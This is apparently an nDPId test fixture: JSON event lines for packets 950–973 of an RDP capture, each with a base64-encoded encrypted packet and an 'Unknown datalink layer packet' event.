+00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":950,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":44768,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hYkAAfwYoOcCoAo6sEAK5DT3NDkedGRP5vQ+3UBj4YT9QAAAXAwMAMAAAAAAAAAEuY5xhtwF4AwhfGjmrbYQ6w31oxdTqij6Yc+6thuZMMgDUqwjH2QwIxg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":950,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":951,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":44802,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EUpHnRlIUBAf\/tedAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":951,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":952,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":45200,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AgAAAEUAAGlhY0AAfwYoLMCoAo6sEAK5DT3NDkedGUj5vQ+3UBj4YTniAAAXAwMAPAAAAAAAAAEvlVmMtY8o+T+EPD9Owm5DWUMzmZKoG9LObKSVps9bz0XlzImnYMJOLgPEXOttuyIAn2OCpg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":952,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":953,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":45224,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9EUpHnRlIUBggACqLAAAXAwMAOOAIO32NJwvwYej\/Pnzjw5tn2xiuG+9Ub26+cgfl4JY9w+pc7bpY5Eo+SwXUthEbBcPexHJp711X"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":953,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":954,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":45254,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hZEAAfwYoN8CoAo6sEAK5DT3NDkedGYn5vQ+3UBj4YfIGAAAXAwMAMAAAAAAAAAEwR8YEhRqfLYTqdyV1glzaWWYXeG4UbM1+hdIL\/+pYfPs66ZnszyXk7w=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":954,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":955,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":45301,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EYdHnRmJUBAf\/dcgAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":955,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02086{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":956,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":45444,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhZUAAfwYjcsCoAo6sEAK5DT3NDkedGb75vQ+3UBD4YRfVAAAXAwMGbwAAAAAAAAExpKC\/a7WD6XVc6HfVHnE9oaSaSAEwC+Ep+M6tivLp82XILn5g88G3NLeLVowO4dJcRMzHlylKehy589T0LTFZZuNeJriZqBkAGpuZsBGWlmgg+ONHrz3HlVFcmI8GCu3QdsTpN\/DSHVAd\/+MMab2qkW87tSRzdMy1T3r6WCyDl3lszUWyhmhu+mTkNV+EUzySSJ5dISOhfWWmc0yYtAiD62cbYf100Fm0mlFidG\/hHIrjBGVkqdjHYG8UqwnML8eeAm9Nl3fBkyoUnOjpaIZegL\/qpwAV7wsFaahY3LL6tar8hJX8yyJHdc5otG7v5MdhL4i9e4k9O+35wDXNYcHXQRenFVSi+t3cbt5X3hLFy+j2qssh+sdhSEnVAyCM35dBBuMJUi0Cpa9EQzmleFpzuRIJ\/QaEs\/+82Xqd5adQOYA1XgdrslVlEu+7\/zgbPUSo8SIKlUc05\/P4bJGRCCmzVKZu4TWlEBAcLhj8W\/OMakp+rCeXoIzfDZ2RfSCPnB6LEHHelLAfITbeW8gkzmINCYFind9V+EvTKTA1VTVZs7SmzdQY614cjf7KtvHz4VN9fZQnSbZWQIty5D4CfrwS07RG6RPd4Zo0CHCilWAqhGMMztuuE3P1SNbwmezQyD8BhRepzoJxccg3jIquea4W\/KYBMeRhw35ybiKcdLs19ORUhWmvNH0hu61Cydvelr\/Yb1uY+sm6MbjLYeKFZLBjRSe2KPOVl3p0QrswYlEFE89ac5ZsnSYBSAQIbaWAecIUhYD4Fm2pponnDi1HxevYlk4wGPQhA02IhhsZ5GMLI+HlaSLvUHCIfwC+iZ6ssRe48Z\/KIhbDyd0IZXXcW\/+ByV4r+dAUJoPSGwJR\/Km75SLuwNKfG\/D3cuOYi3P4OkNQISyrnp9KvnH99n3pStXpJZ4DaqD12VnMvUYXPah+VzuZki+pLSWjs\/LRe\/4b7hQTDMcvBDVmISgj51rQE+Q0rOfqULNG7avz5rmTqIPR\/BisgbDrxhEeC8BftO44n4KkDKS2IeI0PB+XFy4mZKEMYtxlGZIRWo2xCigSgyaPC+NRVq3yYWCzFUz+Nh6vpW4WQbbyPJtjgPhzupM1\/4n6PsJ17U\/BjR3pckKGrr2leCt1y\/oRfU5UW0wHubSQ9XGm00dGSyB4siKBtlwnFHcPMJ\/PmBkwWtshdSC3NtRFAQe5sw6Wg6da\/ABO1rED0LUuvrHaoyO5AbyHx9nV76U+5+718Rmkt3NUtk37j\/7ZwNqBe6gj3sY+sH6+Z66LB1N1V4jPZuvV36tl4K1UcbuXlD0kjAVXW+D9V+xOZBahQ4DUFmjpMHYugBZ3Ej9XK\/GClNqyMYa80PHTI5PH9KADYRTAcvE2escurDVIb6\/hJ9cqaTBMyjktF0LRy0Gw9w9JHQR3XOGa2bVQKtnM1IIbtLwUR8DhfVNvdZfojLgEn\/VjcJK5MzGbxbCNnE+ZGEdwGdpanedTuHjtWN0u\/aTdXzNw5ATiEEpMZqYBamlEb2n0moa6djMDS+efjzEnimxVcfcDPkkOEWnxO\/30k2cCP925jtEg5IZHX6B29lnUDi7vTvWeRIMWZA\/oPEyfTtNsfhm\/S9ORAi7H41CJTk\/dkXSK39cb\/ge0\/1cJoOyQtFvFk\/9wjQkBxyheGKU\/dSwdG9uxfGeijgYIpP3b"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":956,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":957,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":45474,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EYdHnRm+UBAf\/tbqAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":957,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00858{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":958,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":45790,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhZkAAfwYm78CoAo6sEAK5DT3NDkedHrf5vQ+3UBj4YaSAAAB7GbXvM1hcGV0FTnDTTCuISNj3TqijN8jRQ8xC7spAwmjN76BVIBzr3Ny8nnM4OkxUxSiiqF4WiI1KjZCbm71lkQMwRivQgxUARlMDNLcxTf4qBZAFXfgSDAJXHobL8NK3CYuCHdo6P42WuSriYQAYEsQrSTPMjHs2NDgmJIpoD2RnfsAA5p0rWmFhTmT3\/AtYMp33lL2M03wpWRZIctdZ3jxfNjBFK3D8nFLrQrT96ETL7vHIt6TjTG0yfn8NafYHhGCgXyZ3kipBsXvCcIrlRC6D8cZfJfQ71HxDyiS1NJOrgilQad7evtc76w6AAfqJOoyfMhKbHm3X15bdt1\/WXJjZvFlhcKkebRw+K916QfefF1hjNMIbhsqj523YSgJ8sens0Muhao5Kp5KFZWBOMR7Cgh52IUrRa19aZKqCbyPImRQOmbPVyPgYnwKO42nCpa\/rMUwr6ewmSGJE3W32SwRXZCzqghpgIwhTj1vugszdFwJwjVx3ZusM"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":958,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":959,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":45818,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9EYdHnR63UBggAKBLAAAXAwMAMOAIO32NJwvx9Ox3zkz3cxWOXLkKN6DG23z1RT5lBHaaAuuBMg82DOFuDOXnvlzsRA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":959,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":960,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":45959,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EbxHnSAyUBAf9NBLAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":960,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":961,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":46113,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhZ0AAfwYjcMCoAo6sEAK5DT3NDkedIDL5vQ+3UBD4YQACAAAXAwMGbwAAAAAAAAEyEncUYfYtrGpyZpZcQHvOLzcZRdvCrqVfzhi03DBGfL7FB\/wP3xj33iuKWh2n6XLzBpRBl8HGhqzOF9DJuXlN3Q1Fom\/\/yru5JzYB6NMNUwfye\/9lAUkZh13Jk09FftczfXSQaRUmsyvN77r3dPCK1cKp45Adi\/dsv6alHWcE9nhksIPkdxsoLtrgUUY+DuG4\/FXOZ1xrmYs\/pqSE9bjUrSe4kO1N8T\/i7IFMMHRsSiZppNOtF6g5ZDS13hcMBhmNexANt1QXDecb97v5gmVGD3r5b9jmck4I5rnEHXuZYFkKVifWPWgADNmGxvYeo+6LTWROzFo4SxzsCilzm7YK8CTawaHavQqQ3twyG6nGLrnqqzQMdKzQs+ZSxE4I7h1cGQQP4RVY8XXzKLzTPNyf+MUfun8RkB8Addb6S7nSkiZf\/QDtRzfNCU8Rrj3F3nCBFVN1y4hUhByF0Uf5uMDz2Wz\/E5MMyg5UHXWtf1hNsEoWr\/fEu6WJG3foawjY6QuBjQ1CUzKARcEY\/pebEnslLO5SLdZSS2EVeY6O+ThtQfvXC92oaG9XlhsTlr29ZZVI1O96Ek+CWDXdrlqLaXwlw1Xuss8SJaP0hrjOBHkYp0oGXM4LXJM9YMoj48ZV8uAk2vBF\/hfrKfvFTnHlKESJfov7yI4sK9FOluMEMgLnRIj5LSJWLjNewrAGHLRpgU7aFzJKBNOiGQ\/zbDzt4x9JGIVEU4GmRS0h3846mF\/VIUtQIxnFM++oSS6BhBUWh5IB8w0aKN3xwzwU7n4zYkK\/lgpHD04LaulGwsaiwRsNiiebcaU72p08Nfj24La3gNEPxoLlZlapERteYWpH0\/8yT5OA0Vh3CgpYfbYxVZaFvVEYg9DCvPG5woPOadvo\/HTgXUeOqlZ+9FGb4nTUxj5YpONPNUsI0UzAJvWPEdvpm9KihS73jXMQKtQ8BKH5aVKqBs0pjNDhl\/4OlI84KkMJdpkYU75PqSGpMwZ6dlRBfJErxdfPZZorEoJfDjRXH6N+d8MY2vYPSlnaZSacp3GGJMClxCTxcmJDleIkhRbpYkuWlN+4+nCjD\/ZQBFZO3\/U+mJvOCtZOk6jgtYRugo5gncpO\/7fPBAzFPB7URRbyDP8tbs9AFNSgs5rPgVvvhNjnJJWt4\/LJ1A6V+2\/mBfUEDTbmuI94KIxxvGWTb26KZLlY0MenSQJxac4xHeKJ5PJjFJLUgkW208uy9mArZ8OJw3rvG0RNR2Fb5sXW4+6QiuEt747vxcGW7fWUjVaQVzPAhIC2fIIrwNPuC0k\/HyvoW9i2C7lQk46DCbQi3HFK\/TFV7xmwDKiZS2Fv8j0tZVzGPgch3O7h7Prth1a2rC2XyLHRNIMXDES9KNkp60JCXlMfWvilSuZdiXQ7RFFP\/pFEUWfrWN7BAYil8TTz\/LHIdEbspePReaDVEIlZxHk2De39ef9SOKtn5G1V8mSB8TCUn1xmPx3n5YJkYOJ1Gg+vRCS8jClAIhA3bVl+PKaent2ND6k\/1\/X0wiSFYlIqg9kpeXbdlz8bWaFek5mpfICwVeMqW+4lEqHVfZ7EgUYAOE9kRHL0JEAyWHBWKcPJCe+c9gJ6dZyqmNIVlZ+xIVfi51GSGdI32a2M12TL4BE\/g7GApfr1olOmzKofFRzFSU+bnLvqPOj3CuGNZQGH"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":961,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00861{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":962,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":46176,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhaEAAfwYm7cCoAo6sEAK5DT3NDkedJSv5vQ+3UBj4YXjqAABBpemvP+19rMmPXbO4osFkfhXS5BgUdlxDuW6yA8KKdqijqJ8HOlJmXjwe4QwH7dlG7QeXUNTZ0p17kH661Mb9a+zpUpKiDvMYNb0nbfQlEmSfDOwN7GsLb9\/m0EtYrwjMRN+Mk1R9EMl9uSk9rH2T1niSih1Agsacsruattx2xBN\/hFkN4WUdn1AONWvCIZrld1c15xU4QBD\/AnzlnxZqsJmzRJdPf0kKqT9oNRRIToY0n3PH414\/2VPtbuw7FyKhSnyqlcJfFurlOKOxLuSu9ofzXXj95yiilfJon5v4ZMhI5PUz0wxw2h0TFu\/hHOVsAwknjkfQTDlUjFacowscRDYTVB084sxlbJWhlj97S4tXaJGM4SmBWJm7EmBi47D+Z2o664ZSnhoglwqGDB2oD9FIwMdZ3FIhfJvpELflrXImWuNYUZUuATabRLwA\/KGJjmBXmM8J3SRWBvgi6T90miOeOU6o4NvANOrZqxUo9HzvuVfMtaL87bY2"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":962,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":963,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":46243,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EbxHnSamUBAf9MnXAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":963,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":964,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":46340,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1haUAAfwYoMsCoAo6sEAK5DT3NDkedJqb5vQ+3UBj4YQZZAAAXAwMAMAAAAAAAAAEzVCzVuilLAC7sjhEt3kHVhxn70ZD59FHwWZB0EwzLwuCgy6VGWsxZ6g=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":964,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":965,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":46381,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EbxHnSbbUBAf\/smYAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":965,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":966,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":46510,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hakAAfwYoMcCoAo6sEAK5DT3NDkedJtv5vQ+3UBj4YfTCAAAXAwMAMAAAAAAAAAE0+n34rlosTRhk67l1RtaS6DeCXK3Pm4P0U6pEriNzpBEKsOAWklLeNw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":966,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":967,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":46551,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EbxHnScQUBAf\/sljAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":967,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00431{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":968,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":46815,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9EbxHnScQUBggACJ1AAAXAwMAOOAIO32NJwvy8I2W2QHw7Zna8Ez6VV5JTeI55gZYHpX13emX7r+yBz2RfW7rD9pRr+5CVePwTSip"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":968,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02073{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":969,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":46873,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFha0AAfwYjbMCoAo6sEAK5DT3NDkedJxD5vQ+3UBD4YTCRAAAXAwMGbwAAAAAAAAE1eV6aXWsy1V5dN+9uyr9xsoMNp+vASp0i74OqwVtGqmGWPl3E1DfQPVrQOLJiT745iPvE5VINHK7Ct2GJbr2Uiy6pwpv8YHDrDxERfArIypBvO7NOGLnrzl1ikJKVbGxfeuIUKAT6QVaEZWr4AF8tISMXK\/45bWmYPPuMu00c6L7PJoW1hqil8lg4HVQCsNwW6qAZv0gd9B1hOQd1EzcOJ16Setzo1zlA8rhSzoYPlmBvYrTFXDibtYGs3phjXnGFf2nt\/A1lCPD8KTGcCEYloFFEz6mT2\/zwq98V9dj+nIRwYifEP7RsGklbpC5yukpZeMOocA2Puab9QwMFmnoyJI+aBmp1yxzoxs6F\/8E6574rW\/j0TzP1KeK3UrRoNuKLmLvSFLf5rj6HCJYw8acoeCR9+hX1opGsiOQEVP7a\/JtBN7L+BlDGuMY4GDm4zgudWKHIm+HQPMkL3ojevkDpFjSWrrTm6E3lqP1rxwRmEjEZ0jexR36g8vDoz\/IOEiGDUZGnmPh8qysfEA3CBFck7hUsDSVjaOE8IutlZLyq+CSHdNMg+yE7nWznvQCIUP\/bcPKiWJ80JocjuOpTGc2X67tU1TWXugjeUyqjmhWuU+F2Q+qxeBNsoApqQfXaVAEz1FjBENdCYvrQUuuGBZJA+BR8PNy2k1E+OOLdlqwkelkDQ3AG328J20zr7STulLKtP3mYHlxHEeM08Fqgej54UVFwn\/X6v0ZNU14\/gYBjWDzncuI1KNq66flOd9\/gufcRtBUW82c\/kW5nyVVQvUTM88GEzxXGO78l1curzH+SWPBN9fZWy4RZxV4LoKATdEkhWl2O5CrBTU07zUWs3aGKMP7acz4W9RGHf\/7DyOUPByUY7P7pJiaKZcF\/NIPeI6\/+MOfFUOfhqr3B8w59WukIOxgrKBXCrgeO+\/\/gUs40Z387y5x4m4\/ol\/gNOmzRG3xUlB9fOeOPs4EVncuvBrTdz1hwZvdf0j4h2vTEGLyifcdJqCK2Fy05NaBDavuLwKO1dhNvgj27jgs1AnTOmQSEx1x5DrCF6YfyWdbmL+dPGmQ87UEDJX9CPi4oaTdDYxwVoyqFXD8tCAQBYU3w1SJXbuHnUP00HoyjLWlnsfmqV7FUKxYgatnh8GEZ38sNXsi\/uJMjIkuCo\/5M8XUaYZy1eudAlNyvdAG+A312EmrQGSUNh6YZNKP1uFvnPQLt1rA3bOqh5qIbTRvAmVkeJCfq3nT4MFY6tmHLg5BGC0Mp3BgChT98rwCMOAg9YXF53aygel7Byb8dcYdPlNrcQaNv1OnS6zeFFpHCPMXTF6noh60hLYm5RQvpD2fJJd0JefBd7DRgiYmANxJ2p4aH+AGrcD6GJmFCkhYoagktDg\/7wJPFBh+6vWKAiyy8NzAjh7bOXRgeyW9yfx9wTFUfpvO1rUVZkBVff6VpkpanA522AFJC0Zo0oDZp6wC\/wx1uGwpoAmX1vDiW7BFTCis6YIxtYsZ7GiA5rwSEEaaH2yZL4q8gJS2WXi1RHa1NC6PZXU3vxa3MeGm5EgsIjFMP1uK8+5nxoq6SoEU6MEH70w2xQg5lNudpg8gu94ywrB3qJzqvHBs3vRuvra8kYnQMvFvvSL6zPYJxI\/Z8DFuUtWItYqNlw3tBolI4TzA6UCzX8Asn1Pz0GJX+IfP50FOP"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":969,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":970,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":46923,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhbEAAfwYm6cCoAo6sEAK5DT3NDkedLAn5vQ+3UBj4YW6PAADmgvKSwdgdO2RECXXonjqyP6bnQzmS8tUbWDwSiQSBBYM8Ns5Z8xqrJD3vTBGHyz75QV59qz0KxI5JQ+oOdn2Binyg7ZymDyBn2l3Kc6Hne1rON7zkXF22j8xPafXQ4FU3\/fnHOpGll+BrG4PyU9knIhwmYJsz8dcPJJ6LpavYAT51NZPV\/z+Vdn93tgrGH33zyFnTs6ofprgM3lZbmSxucneI2cVsJojtSnEnsw2uVI30\/wNuflopw+K\/9fnpvnt8wY7gQ6XCsPzXnx2QY8KvuJeNSm1Bk2DEcq0a876Al6Bv7lsHC1Fyv1440lSIgq4\/MLvdgjr\/KCfxvtF7bmZWboyzg7VFy+a8GT+ZgSuDWarCxbHNCL5L2ktnn8x3LbpZanBX3l6W9Lx+nuDZvGOQ6BmrQ5g8ewci8bj6XIN29r0X\/RKobLEyR0Xo5GMXA9JhH9yzaCN+3CqqYkLXRKJrMa9kOQkm3ransk5WZwzx4bsv2xRewQ0mehct"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":970,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":971,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":46966,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EflHnS2EUBAf9MK8AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":971,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":972,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":69895,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hbUAAfwYoLsCoAo6sEAK5DT3NDkedLYT5vQ+3UBj4YbGYAAAXAwMAMAAAAAAAAAE2o+Mj1by7rvaqc8+tkjsfCUL9hapZz\/38Y1qhXXN9wBG5H8zy2+udLw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":972,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00419{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":973,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":69950,"pkt_caplen":95,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":95,"pkt_l4_len":0,"pkt":"AgAAAEUAAFthbkAAfwYoL8CoAo6sEAK5DT3NDkedLbn5vQ+3UBj4YcdGAAAXAwMALgAAAAAAAAE3MP2z2uRHh39kNTg4O8rcIs27eg\/\/h+LETv7jMts2hwKGJ1zILzk="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":973,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 